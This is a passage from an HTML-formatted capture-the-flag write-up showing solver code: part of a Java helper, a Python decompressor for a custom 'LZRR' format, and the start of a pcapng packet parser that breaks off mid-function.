style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;  java -cp classes CTFHelper compress &lt;inFile&gt; &lt;outFile&gt;&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            System.err.println(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;  java -cp classes CTFHelper crypt &lt;batchIdx&gt; &lt;keyHex16&gt; &lt;inFile&gt; &lt;outFile&gt;&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            System.exit(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        String cmd = args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;basis&#34;</span></span><span leaf="">.equals(cmd)) {</span><span leaf=""><br/></span><span leaf="">            cmd_basis(Integer.parseInt(args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">]), Integer.parseInt(args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">]), args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">]);</span><span leaf=""><br/></span><span leaf="">        } </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;compress&#34;</span></span><span leaf="">.equals(cmd)) {</span><span leaf=""><br/></span><span leaf="">            cmd_compress(args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">], args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">]);</span><span leaf=""><br/></span><span leaf="">        } </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;crypt&#34;</span></span><span leaf="">.equals(cmd)) {</span><span leaf=""><br/></span><span leaf="">            cmd_crypt(Integer.parseInt(args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">]), args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">], args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">], args[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">]);</span><span leaf=""><br/></span><span leaf="">        } </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throw</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span leaf=""> RuntimeException(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;unknown cmd: &#34;</span></span><span leaf=""> + cmd);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">lzrr.py</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> zlib</span><span leaf=""><br/></span><span leaf="">MAGIC = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x4C5A5252</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># &#39;LZRR&#39;</span></span><span leaf=""><br/></span><span leaf="">VER   = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x0201</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 513</span></span><span leaf=""><br/></span><span leaf="">MODE_RAW = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">13</span></span><span leaf=""><br/></span><span leaf="">MODE_RLE = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">15</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">class</span></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">BitReader</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    __slots__ = (</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;data&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;i&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bitpos&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;cur&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">__init__</span></span><span style="line-height: 26px;"><span leaf="">(self, data: bytes)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        self.data = data</span><span leaf=""><br/></span><span leaf="">        self.i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">        self.bitpos = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">        self.cur = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">read1</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.bitpos == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.i &gt;= len(self.data):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> EOFError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bitstream eof&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            self.cur = self.data[self.i]</span><span leaf=""><br/></span><span leaf="">            self.i += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">            self.bitpos = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf=""><br/></span><span leaf="">        self.bitpos -= </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (self.cur &gt;&gt; self.bitpos) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># MSB -&gt; LSB</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">read_bits</span></span><span style="line-height: 26px;"><span leaf="">(self, n: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span leaf="">        v = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(n):</span><span leaf=""><br/></span><span leaf="">            v = (v &lt;&lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">) | self.read1()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> v</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">_rle_decode</span></span><span style="line-height: 26px;"><span leaf="">(data: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    out = bytearray()</span><span leaf=""><br/></span><span leaf="">    i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    n = len(data)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> i &lt; n:</span><span leaf=""><br/></span><span leaf="">        b = data[i]</span><span leaf=""><br/></span><span leaf="">        i += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> b != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            out.append(b)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> i &gt;= n:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bad RLE stream&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        c = data[i]</span><span leaf=""><br/></span><span leaf="">        i += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> c == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            out.append(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> i &gt;= n:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bad RLE stream&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        v = data[i]</span><span leaf=""><br/></span><span leaf="">        i += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">        out.extend([v] * (c + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(out)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">lzrr_decompress</span></span><span style="line-height: 26px;"><span leaf="">(blob: bytes, verify_crc: bool = True)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(blob) &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;too short&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    magic, ver, mode = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&gt;IHH&#34;</span></span><span leaf="">, blob[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> magic != MAGIC:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bad magic&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ver != VER:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;bad ver: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{ver:<a class="wx_topic_link" topic-id="ml65vt7s-u5gi4z" style="color: #576B95 !important;" data-topic="1">#x</a>}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    orig_len, crc = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&gt;II&#34;</span></span><span leaf="">, blob[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> mode == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    body = blob[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">:]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> mode == MODE_RLE:</span><span leaf=""><br/></span><span leaf="">        body = _rle_decode(body)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> mode != MODE_RAW:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;unknown mode: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{mode}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    br = BitReader(body)</span><span leaf=""><br/></span><span leaf="">    out = bytearray()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> len(out) &lt; orig_len:</span><span leaf=""><br/></span><span leaf="">        t = br.read1()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> t == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># literal: 0 + 8 bits byte</span></span><span leaf=""><br/></span><span leaf="">            out.append(br.read_bits(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># match: 1 + dist + len</span></span><span leaf=""><br/></span><span leaf="">        dist_flag = br.read1()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> dist_flag == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            dist = br.read_bits(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            dist = br.read_bits(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> dist &lt;= </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bad dist&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># len encoding (lenMinus3)</span></span><span leaf=""><br/></span><span leaf="">        a = br.read1()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> a == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            lm3 = br.read_bits(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">)         </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 0..7 =&gt; len 3..10</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            b = br.read1()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> b == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                lm3 = br.read_bits(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">) + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 8..71 =&gt; len 11..74</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                lm3 = br.read_bits(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">)     </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 0..255 =&gt; len 3..258</span></span><span leaf=""><br/></span><span leaf="">        length = lm3 + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># copy with overlap</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(length):</span><span leaf=""><br/></span><span leaf="">            out.append(out[-dist])</span><span leaf=""><br/></span><span leaf="">    out = bytes(out[:orig_len])</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> verify_crc:</span><span leaf=""><br/></span><span leaf="">        calc = zlib.crc32(out) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xffffffff</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> calc != crc:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;CRC mismatch: calc=</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{calc:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">08</span></span><span leaf="">x}</span></span><span leaf=""> file=</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{crc:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">08</span></span><span leaf="">x}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> out</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1.py</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> os</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> re</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> io</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sys</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> zipfile</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> shutil</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> subprocess</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pathlib </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Path</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">from</span></span><span leaf=""> lzrr </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> lzrr_decompress</span><span leaf=""><br/></span><span leaf="">SIG = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\x89ali&#34;</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 0x89 &#39;a&#39; &#39;l&#39; &#39;i&#39;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">read_pcapng_packets</span></span><span style="line-height: 26px;"><span leaf="">(path: Path)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    data = path.read_bytes()</span><span leaf=""><br/></span><span leaf="">    f = io.BytesIO(data)</span><span leaf=""><br/></span><span leaf="">    endian = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&lt;&#34;</span></span><span leaf=""><br/></span><span leaf="">    linktype = </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">    packets = []</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        hdr = f.read(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(hdr) &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">        btype, blen = struct.unpack(endian + </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;II&#34;</span></span><span leaf="">, hdr)</span><span leaf=""><br/></span><span leaf="">        body = f.read(blen - </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        tail = f.read(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(tail) &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> btype == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x0A0D0D0A</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># SHB</span></span><span leaf=""><br/></span><span leaf="">            bom = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&lt;I&#34;</span></span><span leaf="">, body[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> bom == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x1A2B3C4D</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                endian = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&lt;&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> bom == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x4D3C2B1A</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                endian = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&gt;&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> btype == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># IDB</span></span><span leaf=""><br/></span><span leaf="">            linktype = struct.unpack(endian + </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;H&#34;</span></span><span leaf="">, body[</span><span style="color: rgb(209, 154, 102);line-height: 